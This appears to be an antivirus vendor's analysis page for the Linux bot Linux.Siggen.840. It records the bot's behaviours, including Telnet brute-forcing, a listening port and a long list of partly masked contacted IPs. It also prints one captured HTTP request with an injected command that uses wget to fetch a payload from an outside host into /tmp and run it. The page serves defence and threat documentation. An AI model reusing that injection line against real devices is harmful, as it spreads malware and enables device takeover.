Linux.Siggen.840

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

5ji3025pbfmno1mhlbe4nngg

Kills the following processes:

<SAMPLE>

Network activity:

Awaits incoming connections on ports:

127.0.0.1:1822

Establishes connection:

8.#.8.8:53
80.###.67.245:3287
35.###.116.100:80
10#.##4.237.75:80

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.###.#.#########.############0aa%27;wget%20http://80.211.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

19#.#.50.212:37215
18.###.239.43:52869
17#.##2.56.43:8080
21#.##3.239.130:80
21#.##6.229.40:80
61.###.245.41:80
19#.##.97.40:37215
15#.##.117.41:37215
19#.##2.61.95:37215
41.###.173.246:37215
17#.##0.56.43:52869
74.###.47.130:52869
64.###.189.212:52869
13.##.127.93:52869
14.###.185.91:80
19#.##.96.90:37215
19#.##.189.165:37215
15#.###.206.217:37215
15#.###.196.229:37215
16#.##9.173.60:80
21#.##1.185.137:80
21#.##.220.142:80
16#.##0.247.12:80
21#.##1.202.188:80
21#.###.239.230:52869
12#.###.109.60:52869
14#.#.140.217:52869
11#.##.147.197:52869
73.##.145.106:52869
19#.###.206.42:37215
41.##.14.149:37215
19#.##2.75.27:37215
41.###.150.238:37215
21#.#.234.82:8080
15#.##.60.233:80
21#.##8.197.164:80
11#.##5.116.144:80
19#.###.236.133:37215
41.###.10.225:37215
19#.###.46.249:37215
18#.#7.5.184:80
21#.##6.229.133:80
21#.##4.78.180:80
21#.##3.243.104:80
80.###.67.245:3287
85.###.60.80:52869
11#.###.239.97:52869
15#.##5.82.12:37215
15#.##.247.196:37215
19#.##.160.12:37215
21#.#8.90.79:80
21#.##3.101.165:80
76.###.241.174:8080
21#.##5.104.17:80
10#.###.195.109:52869
15#.##.120.149:52869
21#.###.124.167:52869
19#.##.249.126:37215
41.###.114.217:37215
41.###.120.125:37215
15#.###.235.153:37215
20#.##.116.139:80
13#.##0.158.24:80
21#.##7.196.165:80
21#.##4.84.71:80
12#.###.17.174:52869
16#.##0.41.25:52869
18#.##.226.181:52869
99.###.144.114:52869
12#.#.81.134:52869
15#.###.225.178:37215
41.##.206.108:37215
41.##.1.246:37215
41.###.23.167:37215
21#.##4.187.172:80
21#.##8.41.2:52869
5.##.#41.252:52869
19#.###.137.180:52869
17#.##9.247.108:80
21#.##.170.159:80
22#.##6.109.79:80
45.###.90.93:52869
83.##.226.99:8080
21#.##3.80.253:80
19#.###.148.101:37215
19#.###.136.53:37215
19#.##.166.39:37215
32.###.58.152:52869
15#.###.149.207:52869
11#.##2.1.110:52869
17#.##.17.244:52869
21#.##0.163.226:80
21#.##.115.62:80
15#.##.91.210:80
21#.#2.25.32:80
18#.##.117.155:52869
15#.##.81.18:52869
13#.##.53.252:52869
17#.###.101.76:52869
19#.###.51.165:52869
41.###.30.113:37215
15#.###.102.91:37215
15#.##.108.117:37215
15#.##.160.26:37215
41.###.24.135:37215
17#.##1.60.90:80
21#.##.116.230:80
16#.##1.169.60:80
21#.##6.247.145:80
14#.###.148.132:52869
25.##.124.64:52869
15#.##.229.210:37215
19#.##.224.241:37215
19#.###.142.225:37215
13#.##3.232.67:8080
77.###.43.159:80
12#.##9.33.88:80
49.###.13.235:52869
42.###.216.70:52869
27.###.8.154:52869
63.###.8.139:52869
13#.###.247.85:52869
19#.##.96.128:37215
19#.##2.35.74:37215
15#.##.41.128:37215
15#.##.90.244:37215
15#.##.121.243:37215
5.##.115.10:80
21#.##.197.173:80
14#.##2.102.227:80
21#.##8.218.65:80
21#.#3.31.79:80
45.##.127.130:52869
11#.###.44.187:52869
18#.###.21.222:52869
41.##.187.101:37215
41.###.95.237:37215
19#.##.71.140:37215
41.###.118.184:37215
41.###.86.183:37215
15#.##5.120.175:80
21#.##4.183.216:80
13#.###.170.173:8080
21#.##0.43.19:80
87.###.42.224:52869
42.###.218.174:52869
27.##.72.139:52869
21#.##3.179.16:80
21#.##3.104.232:80
21#.##1.24.219:80
41.###.221.27:37215
15#.###.109.57:37215
41.##.122.101:37215
78.##.249.16:52869
10#.##.102.217:52869
20#.##0.97.1:52869
16#.###.159.54:52869
16#.##.104.120:52869
10#.##6.61.21:80
21#.##1.53.156:80
21#.##4.24.195:80
21#.##1.36.162:80
19#.##.27.137:37215
19#.###.185.82:37215
41.##.2.153:37215
18#.#.39.101:52869
19#.##.137.224:52869
57.##.56.253:52869
75.##.214.92:52869
39.###.101.233:80
20.##.64.162:8080
18#.##.79.204:80
21#.##.140.40:80
79.##.91.253:80
41.##.214.60:37215
15#.###.11.225:37215
41.##.111.79:37215
14#.###.58.216:52869
13#.##.144.27:52869
72.###.225.196:52869
12#.##.105.34:52869
41.###.4.69:37215
19#.##.135.116:37215
19#.###.190.251:37215
21#.##1.237.113:80
19#.##5.158.16:80
21#.##.248.224:80
73.###.118.175:80
65.###.154.32:80
15#.##0.40.11:37215
15#.###.192.216:37215
41.##.116.96:37215
15#.##7.156.7:37215
20#.###.251.126:52869
14#.##.199.209:52869
16#.###.233.185:52869
13#.##6.251.6:52869
69.###.48.166:80
21#.##4.101.57:8080
41.###.74.48:37215
41.##.48.179:37215
19#.###.33.230:37215
15#.##.194.50:37215
82.###.26.136:52869
14#.###.42.167:52869
18#.###.43.101:52869
14#.##.62.17:52869
20#.##.43.222:80
21#.##3.166.115:80
23.###.47.131:80
21#.##2.140.71:80
19#.##.221.86:37215
41.##.195.89:37215
15#.##6.167.9:37215
87.##.99.176:52869
69.###.75.19:52869
13#.##.161.16:52869
17#.##.181.120:52869
19#.##.241.207:80
21#.##8.7.164:80
21#.##9.126.50:80
15#.#.165.100:37215
15#.##.37.164:37215
15#.##.154.244:37215
41.##.82.83:37215
15#.##.230.129:37215
91.##.172.248:52869
12.##.161.148:52869
2.###.134.77:52869
14#.###.252.217:52869
16#.###.74.105:52869
13.##.101.240:80
21#.##0.147.124:80
93.###.225.3:8080
21#.##.48.134:80
41.###.126.183:37215
16#.###.187.145:52869
14#.###.233.163:52869
21#.##.210.89:52869
14#.##.215.247:52869
41.###.154.141:37215
15#.###.51.169:37215
41.##.53.186:37215
19#.##.109.16:37215
15#.###.63.141:37215
21#.##.127.87:80
21#.##.44.120:80
21#.##.137.55:80
14#.##.159.38:80
16#.###.140.156:52869
45.##.249.30:52869
76.###.174.36:52869
23.###.195.224:52869
15#.###.64.165:37215
41.###.168.78:37215
19#.##.251.43:80
21#.##.213.18:80
16#.###.191.105:52869
16#.###.215.166:52869
41.##.216.22:37215
15#.###.102.60:37215
15#.###.197.207:37215
41.###.214.143:37215
13#.#9.49.48:80
21#.##3.116.51:8080
21#.##9.230.67:80
21#.##9.158.85:80
21#.##3.223.19:80
10#.#.205.29:52869
14#.##.28.128:52869
14#.###.255.90:52869
41.###.190.4:37215
19#.##.2.82:37215
15#.###.227.181:37215
15#.##.155.138:37215
20#.##0.82.108:80
21#.##.159.126:80
21#.##9.104.124:80
97.###.102.92:52869
17#.##.62.116:52869
41.###.220.90:37215
21#.##.204.131:80
21#.##.130.66:80
11#.##.194.51:80
21#.##.201.207:8080
79.###.211.28:52869
21#.##.244.110:52869
71.##.227.239:52869
15#.##9.25.43:37215
19#.##.172.231:37215
21#.##7.95.196:80
21#.##0.28.211:80
19#.###.250.52:52869
19#.###.206.173:37215
19#.###.126.11:37215
15#.##4.80.76:37215
21#.##3.144.242:80
19#.##3.202.146:80
15#.##6.226.239:80
13#.###.156.51:52869
13#.##.93.8:52869
96.###.216.176:52869
15#.#.88.228:52869
20#.##.73.158:52869
15#.##.31.185:52869
15#.###.14.207:37215
41.##.216.198:37215
15#.##.39.170:37215
19#.##1.96.73:37215
10#.##1.78.64:80
21#.##3.74.228:80
35.##.186.58:80
16#.###.157.35:52869
15#.##2.30.77:52869
27.###.62.76:52869
60.###.14.237:52869
41.##.226.156:37215
19#.##1.1.224:37215
41.###.159.71:37215
21#.##3.208.164:80
21#.##.39.10:8080
21#.##6.236.43:80
12#.##.45.131:80
21#.##.250.92:80
15#.###.128.253:37215
41.##.224.126:37215
41.###.80.31:37215
15#.##4.70.37:37215
16#.###.142.14:52869
25.###.102.40:52869
18#.###.163.89:52869
5.###.73.189:52869
21#.##7.110.177:80
48.###.99.200:80
12#.##9.75.139:80
17#.##7.122.167:80
15#.###.124.207:37215
19#.##.99.39:37215
41.###.240.3:37215
19#.###.27.144:37215
14.##.36.180:52869
10#.##.120.106:52869
8.###.163.130:52869
10#.###.67.228:52869
21#.##5.224.84:80
19#.##9.140.184:80
21#.##.246.238:8080
62.###.50.128:80
41.##.191.185:37215
41.###.109.152:37215
19#.##2.156.5:37215
1.##.#7.227:52869
12#.###.110.202:52869
15#.##.76.55:52869
21#.###.97.150:52869
10#.###.121.163:52869
9.##.47.54:80
15#.##3.232.226:80
15#.##.229.193:80
2.##.2.237:80
15#.###.10.228:37215
41.##.96.198:37215
19#.##5.82.76:37215
41.###.170.166:37215
21#.#.206.135:52869
19.###.65.97:52869
86.###.182.137:52869
22#.###.255.13:52869
19#.##.154.160:80
10#.##.117.47:80
24.###.152.137:80
19#.###.226.146:37215
15#.###.212.20:37215
12#.##3.48.94:80
13#.##.0.95:8080
98.###.241.66:52869
12#.###.64.240:52869
76.###.255.153:52869
31.##.240.149:52869
15#.###.243.212:37215
19#.###.249.161:37215
15#.###.140.68:37215
41.##.143.26:37215
21#.##7.29.217:80
10#.##.239.236:80
21#.##.157.67:52869
10#.##.66.208:52869
14#.###.179.242:52869
24.##.31.15:52869
19#.##.186.98:52869
16#.#6.71.55:80
21#.##.189.29:80
19#.##7.141.56:80
21#.##5.208.56:80
15#.###.166.60:37215
41.###.204.218:37215
15#.##.200.216:37215
19#.###.187.99:37215
16#.##.194.70:52869
10#.###.255.38:52869
79.###.45.169:52869
13#.##.80.16:52869
19#.##2.101.121:80
19#.#8.91.17:80
21#.#.42.200:80
15#.###.92.156:37215
19#.##.104.201:37215
41.##.7.118:37215
21#.##0.73.23:8080
1.##.95.3:80
21#.##0.24.53:80
79.###.40.148:80
32.#.169.199:80
52.##.157.78:52869
36.###.166.124:52869
11#.###.241.116:52869
15#.##.255.132:37215
15#.##.226.214:37215
41.###.194.243:37215
19#.###.149.95:37215
41.###.12.79:37215
15#.###.64.202:52869
20#.##8.45.41:52869
73.##.71.83:52869
22#.##0.63.32:52869
27.###.15.147:80
21#.##.249.34:80
21#.##.211.105:80
21#.##5.217.227:80
41.###.182.22:37215
41.###.74.37:37215
19#.##.224.249:37215
15#.###.166.72:37215
18#.##.93.113:52869
19#.###.113.207:52869
17#.##.38.70:52869
61.###.213.137:52869
19#.##0.68.101:80
21#.##.51.253:8080
67.##.100.27:80
21#.##5.228.125:80
41.###.171.36:37215
41.##.84.87:37215
15#.###.25.175:37215
41.###.210.41:37215
22#.##3.228.3:52869
14#.##.113.135:52869
10#.##.135.30:52869
73.##.130.204:52869
14#.##3.14.27:80
21#.#01.51.5:80
11#.##.158.23:80
15#.###.232.174:37215
15#.###.195.108:37215
19#.###.165.37:37215
41.###.121.180:37215
21#.##7.73.43:80
10#.##8.239.198:80
17#.##9.153.127:80
15#.###.91.187:52869
16#.###.132.183:52869
98.###.39.136:52869
20#.###.111.119:52869
14#.###.121.10:52869
19#.##.254.212:37215
15#.###.99.227:37215
15#.###.221.144:37215
41.###.38.9:37215
17#.##6.80.244:80
14#.##.188.53:52869
16#.##0.9.8:52869
10#.##.78.28:52869
69.##.137.194:52869
41.##.198.166:37215
19#.###.105.239:37215
41.##.27.25:37215
15#.##.201.34:37215
80.#.#55.242:52869
19#.##9.56.99:37215
41.###.51.116:37215
20#.###.227.215:8080
21#.##4.101.25:80
21#.##7.184.73:80
21#.##6.195.164:80
15#.##3.53.39:80
21#.##7.167.74:80
11#.##3.163.41:80
21#.#7.59.70:80
21#.##.173.243:80
21#.##7.110.95:80
21#.##.49.147:8080
21#.##.235.68:80
17#.##.157.14:80
21#.##.200.223:80
36.##9.32.82:80
12#.##3.124.187:80
15#.##9.226.104:80
16#.##4.191.37:80
15#.##.31.211:80
21#.##0.78.135:80
21#.##0.201.67:8080
40.#.34.103:80
12#.##.89.125:80
21#.##.197.174:80
18#.#2.206.2:80
62.##.142.212:80
21#.##4.199.17:80
20#.#6.104.3:80
21#.##.195.171:80
10#.##8.66.89:80
4.##.#6.152:8080
38.###.59.182:80
20#.##2.65.166:80
14#.##1.149.9:80
21#.##.27.196:80
21#.##.146.170:80
20#.##.169.107:80
13#.##9.68.127:80
21#.##0.229.206:80
13#.##.200.175:80
21#.##3.50.41:8080
21#.##5.101.124:80
42.##.144.64:80
95.###.176.54:80
13#.##4.138.163:80
21#.##3.128.130:80
21#.##2.241.74:80
21#.##3.31.194:80
21#.##.10.224:80
21#.##.129.44:80
21#.##4.14.153:8080
21#.##0.99.125:80
19#.##.126.235:80
17#.##4.154.102:80
13#.##.61.233:80
21#.##4.17.167:80
21#.##0.209.242:80
97.##8.69.34:80
21#.#8.85.53:80
16#.##8.168.221:80
21#.##.72.65:8080
77.###.106.199:80
21#.##.241.104:80
20#.##6.61.115:80
21#.##1.245.171:80
21#.#.5.70:80
59.###.198.246:80
11#.#9.77.42:80
21#.##6.238.186:80
21#.##.219.83:80
70.###.241.58:8080
21#.##.205.228:80
21#.##7.177.141:80
21#.##0.153.44:80
63.###.115.229:80
93.###.163.19:80
12#.##2.37.97:80
21#.##7.192.207:80
21#.##.153.62:80
12#.#53.90.3:80
21#.###.149.107:8080
21#.##5.136.186:80
70.##.157.255:80
15#.##0.115.172:80
21#.##0.192.27:80
21#.##1.194.197:80
21#.##0.171.169:80
21#.#1.66.52:80
21#.##9.170.120:80
21#.##8.65.230:80
22#.#.122.24:8080
10#.##4.237.75:80
19#.##8.69.178:80
21#.##6.213.227:80
21#.##0.13.241:80
21#.#.175.96:80
21#.##2.242.84:80
21#.##7.249.67:80
21#.##7.172.66:80
21#.##7.29.17:80
21#.##9.160.79:8080
62.###.247.189:80
21#.#5.63.40:80
21#.##1.212.61:80
21#.##.246.66:80
21#.##8.143.197:80
21#.##.239.59:80
44.###.250.171:80
21#.##1.247.0:80
21#.##.203.40:80
21#.##7.99.179:8080
21#.##2.32.255:80
21#.##.226.233:80
25.###.241.152:80
49.##.34.6:80
21#.#20.50.9:80
21#.##.248.231:80
93.##.236.86:80
75.###.116.131:80
35.###.116.100:80
12#.##.148.158:8080
21#.##4.198.48:80
16#.#3.234.3:80
21#.##.188.63:80
21#.##.46.158:80
20#.##0.176.37:80
10#.##.210.242:80
37.##9.238.0:80
2.###.122.201:80
21#.##2.37.205:80
75.###.64.248:8080
16#.##.251.28:80
10#.##6.18.224:80
21#.##3.69.44:80
21#.##7.62.161:80
13#.##8.193.185:80
21#.##3.187.63:80
21#.##.236.21:80
21#.##0.193.151:80
21#.##0.26.61:80
21#.###.216.251:8080
21#.#.1.165:80
21#.##5.242.235:80
21#.##6.241.3:80
21#.##8.148.122:80
36.###.59.173:80
18#.##3.74.185:80
21#.##.62.215:80
21#.##.185.24:80
21#.#8.246.9:80
99.###.121.123:8080
21#.##.17.242:80
21#.##4.122.197:80
21#.##.173.167:80
70.###.246.180:80
10#.#.101.90:80
21#.##9.89.136:80
21#.##4.157.146:80
21#.##.113.231:80
49.###.167.183:80

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

Technical Information

Curing recommendations